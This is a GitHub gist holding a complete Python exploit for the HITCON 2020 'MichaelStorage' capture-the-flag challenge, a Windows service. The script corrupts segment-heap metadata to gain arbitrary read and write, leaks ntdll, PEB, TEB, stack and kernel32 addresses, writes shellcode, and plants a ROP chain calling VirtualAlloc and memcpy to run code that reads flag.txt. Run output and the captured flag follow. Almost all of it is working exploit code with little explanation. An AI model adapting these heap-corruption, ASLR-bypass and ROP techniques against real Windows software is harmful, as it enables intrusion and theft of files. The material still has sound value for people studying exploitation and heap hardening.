Skip to content

Instantly share code, notes, and snippets.

@masthoon
Created November 29, 2020 20:23
Show Gist options
  • Save masthoon/50ad5ec5d1bb6b43286f414802a8688c to your computer and use it in GitHub Desktop.
Save masthoon/50ad5ec5d1bb6b43286f414802a8688c to your computer and use it in GitHub Desktop.
MichaelStorage Exploit HITCON 2020
import time
from pwintools import *
# Interact with binary
def act_alloc(type, size):
proc.sendline('1')
proc.recvuntil(':')
proc.sendline(str(type))
proc.recvuntil(':')
proc.sendline(str(size))
proc.recvuntil(': ')
def act_get(ids):
proc.sendline('3')
proc.recvuntil(':')
proc.sendline(str(ids))
msg = proc.recvuntil(': ')
val = msg.split('Value:')[1].split('\r\n*****************************')[0]
return val
def act_set(ids, index, value, no_wait=False):
proc.sendline('2')
proc.recvuntil(':')
proc.sendline(str(ids))
proc.recvuntil(':')
proc.sendline(str(index))
proc.recvuntil(':')
proc.sendline(str(value))
if not no_wait:
proc.recvuntil(': ')
def act_destroy(ids):
proc.sendline('4')
proc.recvuntil(':')
proc.sendline(str(ids))
proc.recvuntil(': ')
# Utils exploit
def make_shellcode(filename, validaddr):
'''
h = OpenFile("flag.txt", anyvalidaddr, 0);
ReadFile(h, validaddr, 256, &anyvalidaddr);
puts(validaddr);
puts("force flush\r\n");
'''
dll = "KERNEL32.DLL\x00".encode("utf-16-le")
dllucrt = "ucrtbase.dll\x00".encode("utf-16-le")
openfile = "OpenFile\x00"
readfile = "ReadFile\x00"
puts = "puts\x00"
sc = x64.MultipleInstr()
map(sc.__iadd__, [
shellcraft.amd64.pushstr(dll),
x64.Mov("R13", "RSP"),
x64.Mov("RCX", "R13"),
shellcraft.amd64.pushstr(openfile),
x64.Mov("RDX", "RSP"),
x64.Call(":FUNC_GETPROCADDRESS64"),
x64.Mov("R10", "RAX"),
shellcraft.amd64.pushstr(filename),
x64.Mov("RCX", "RSP"),
x64.Mov("RDX", validaddr),
x64.Mov("R8", 0),
x64.Sub("RSP", 0x30),
x64.And("RSP", -32),
x64.Call("R10"),
x64.Mov("R11", "RAX"),
x64.Mov("RCX", "R13"),
shellcraft.amd64.pushstr(readfile),
x64.Mov("RDX", "RSP"),
x64.Call(":FUNC_GETPROCADDRESS64"),
x64.Mov("R10", "RAX"),
x64.Mov("RCX", "R11"),
x64.Mov("RDX", validaddr),
x64.Mov("R8", 256),
x64.Mov("R9", validaddr-0x10),
x64.Sub("RSP", 0x30),
x64.And("RSP", -32),
x64.Mov(x64.mem('[RSP+0x24]'), 0),
x64.Mov(x64.mem('[RSP+0x20]'), 0),
x64.Call("R10"),
shellcraft.amd64.pushstr(dllucrt),
x64.Mov("RCX", "RSP"),
shellcraft.amd64.pushstr(puts),
x64.Mov("RDX", "RSP"),
x64.Call(":FUNC_GETPROCADDRESS64"),
x64.Mov("R10", "RAX"),
x64.Mov("RCX", validaddr),
x64.Sub("RSP", 0x30),
x64.And("RSP", -32),
x64.Call("R10"),
shellcraft.amd64.pushstr("force flush\r\n\x00"),
x64.Mov("RCX", "RSP"),
x64.Call("R10"),
x64.Label(":HERE"),
x64.Jmp(":HERE"), # Dirty infinite loop
windows.native_exec.nativeutils.GetProcAddress64,
])
return sc.get_code()
def ArbitraryWriteString(addr, content, no_wait=False):
act_set(1, -6, addr)
act_set(0, len(content), content, no_wait)
def ArbitraryReadString(addr):
act_set(1, -6, addr)
return act_get(0)
def ArbitraryReadPtr(addr):
act_set(1, -6, addr)
leak = act_get(0)
if len(leak) >= 8:
return u64(leak[:8])
else:
if len(leak) == 0:
leak = '\0'
i = len(leak)
while i < 8:
read = ArbitraryReadString(addr+i)
if not read:
read = '\0'
leak += read
i += len(read)
return u64(leak[:8])
def ArbitraryReadAndComparePtr(addr, to_cmp):
act_set(1, -6, addr)
leak = act_get(0)
if len(leak) >= 8:
return u64(leak[:8]) == to_cmp
else:
if len(leak) == 0 and (to_cmp & 0xff) != 0:
return 0
if len(leak) >= 1 and ord(leak[0]) != (to_cmp & 0xff):
return 0
if len(leak) >= 2 and ord(leak[1]) != ((to_cmp & 0xff00) >> 8):
return 0
return ArbitraryReadPtr(addr) == to_cmp
# Launch process
# proc = Process("MichaelStorage.exe")
# proc = Remote("52.198.180.107", 56746)
proc = Remote("127.0.0.1", 56746)
proc.timeout = 5000000
# proc.spawn_debugger(dbg_cmd='g')
# proc.spawn_debugger(dbg_cmd = '"bp ntdll!RtlpHpSegPageRangeCoalesce;g"')
time.sleep(2)
proc.recvuntil(': ')
act_alloc(3, 0x20000) # A chunk (id 0)
act_alloc(1, 0x200) # Type1 chunk (id 1)
act_alloc(3, 0x20000) # B chunk (id 2)
act_alloc(3, 0x20000) # C chunk (id 3)
act_alloc(3, 0x20000) # D chunk (id 4)
type1_offset = -0x411
page_range_offset_C = 0x55 * 0x20
# Corrupt the UnitSize and EncodedCommittedPageCount of chunk C to extend its size to C+D using the vuln
act_set(1, type1_offset + page_range_offset_C / 8 + 3, 0x4204ffbd00000103)
# Trigger Coalesce of C+D chunk (added to the free list with the size of C+D and D chunk pointer is dangling)
act_destroy(3)
# Fill old space (C)
act_alloc(3, 0x20000)
# Fill old space (VS before A)
act_alloc(3, 0xee80)
# Overlap with D :)
act_alloc(3, 0x10) # contains a pointer to heap
act_alloc(1, 0x200) # to trigger the vuln and fill D with padding
# Fill D with padding
for i in xrange(-0x15, -0xc):
act_set(7, i, 0x4242424242424242)
# Get the first heap leak :)
leak = act_get(4)[72:]
heap = u64(leak + '\0'*(8 - len(leak)))
print("Found heap at 0x{:x}".format(heap))
# Leak process heap
process_heap = ArbitraryReadPtr(heap & 0xfffffffffff00000)
# Leak ntdll pointer
ntdll = ArbitraryReadPtr((process_heap & 0xfffffffffffff000) + 0x370) & 0xffffffffffff0000
# Find ntdll base
while ArbitraryReadString(ntdll)[:2] != 'MZ':
ntdll -= 0x10000
print('Found ntdll at 0x{:x}'.format(ntdll))
# Read ntdll!TlsExpansionBitMap to find PEB
peb = ArbitraryReadPtr(ntdll+0x16b428) - 0x240
# Find TEB in memory (should be close) may crash
validated = 0
teb = peb + 0x1000
while not validated:
teb_s = ArbitraryReadPtr(teb+0x30)
if teb == teb_s:
print("Found teb at 0x{:x}".format(teb_s))
validated = 1
else:
teb += 0x1000
# Read stack base from teb
stack = ArbitraryReadPtr(teb+0x8)
print("Found stack at 0x{:x}".format(stack))
# Leak main binary address from teb (ImageBaseAddress)
binary = ArbitraryReadPtr(peb+0x10)
# Read kernel32 address from imports (KERNEL32!ReadFile)
kernel32 = ArbitraryReadPtr(binary+0x3000) - 0x24ee0
# Compute return address we want to corrupt
act_get_ret_addr = binary+0x209c
print("Looking for Get Value From Storage return address: 0x{:x}".format(act_get_ret_addr))
# Go through the stack and find the return address
rip_found = False
stack_offset = -0x2c8 # random offset may not work
while not rip_found:
if ArbitraryReadAndComparePtr(stack + stack_offset, act_get_ret_addr):
print("Found stack offset at {} / 0x{:x}".format(stack_offset, stack_offset))
rip_found = True
break
stack_offset -= 0x10
# Prepare shellcode
shellcode_srcaddr = binary+0x5900
shellcode_dstaddr = 0x4141000
shellcode = make_shellcode("flag.txt", shellcode_dstaddr+0x1800) + "\x90\x90\xcc\xcc\0"
# Write shellcode using arbitrary write
print("Writing shellcode at 0x{:x}".format(shellcode_srcaddr))
ArbitraryWriteString(shellcode_srcaddr, shellcode)
# Write ropchain using arbitrary write
print("Writing the ropchain 0x{:x}".format(stack + stack_offset))
# Gadgets
pop_rcx = ntdll + 0x8DD2F
pop_rdx = ntdll + 0x6066d
pop2 = ntdll + 0x93179 # pop pop ret to align stack
pop_r8_r9 = ntdll + 0x8b6e2 # pop r8 ; pop r9 ; pop r10 ; pop r11 ; ret
virtual_alloc = kernel32+0x18500
memcpy = kernel32+0x2637B
ArbitraryWriteString(stack + stack_offset,
''.join(map(p64,
[
pop2, 0, 0,
# VirtualAlloc(shellcode_dstaddr, 0x2000, 0x3000, 0x40);
pop_rcx, shellcode_dstaddr, # lpAddress
pop_rdx, 0x2000, # dwSize
pop_r8_r9, 0x3000, 0x40, 0, 0, # flAllocationType, flProtect, _, _
virtual_alloc,
pop_r8_r9, 0, 0, 0, 0,
# memcpy(shellcode_dstaddr, shellcode_srcaddr, len(shellcode_srcaddr));
pop_rcx, shellcode_dstaddr, # Dst
pop_rdx, shellcode_srcaddr, # Src
pop_r8_r9, len(shellcode), 0, 0, 0, # Size, _, _, _
memcpy,
# shellcode_dstaddr()
shellcode_dstaddr,
0x414243444546, # dummy
]))
, True)
print('Open WireShark, the flag is not printed, the connection closes too fast :D')
proc.interactive()
proc.close()
'''
Found heap at 0x2132bf76080
Found ntdll at 0x7ffc0b350000
Found teb at 0x713f464000
Found stack at 0x713f700000
Looking for Get Value From Storage return address: 0x7ff633a1209c
Found stack offset at -2152 / 0x-868
Writing shellcode at 0x7ff633a15900
Writing the ropchain 0x713f6ff798
Open WireShark, the flag is not printed, the connection closes too fast :D
hitcon{S3gm3nt_H34p_1s_th3_h34ven_F34l_4_u}
Enjoy another challenge lucifer !
'''
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment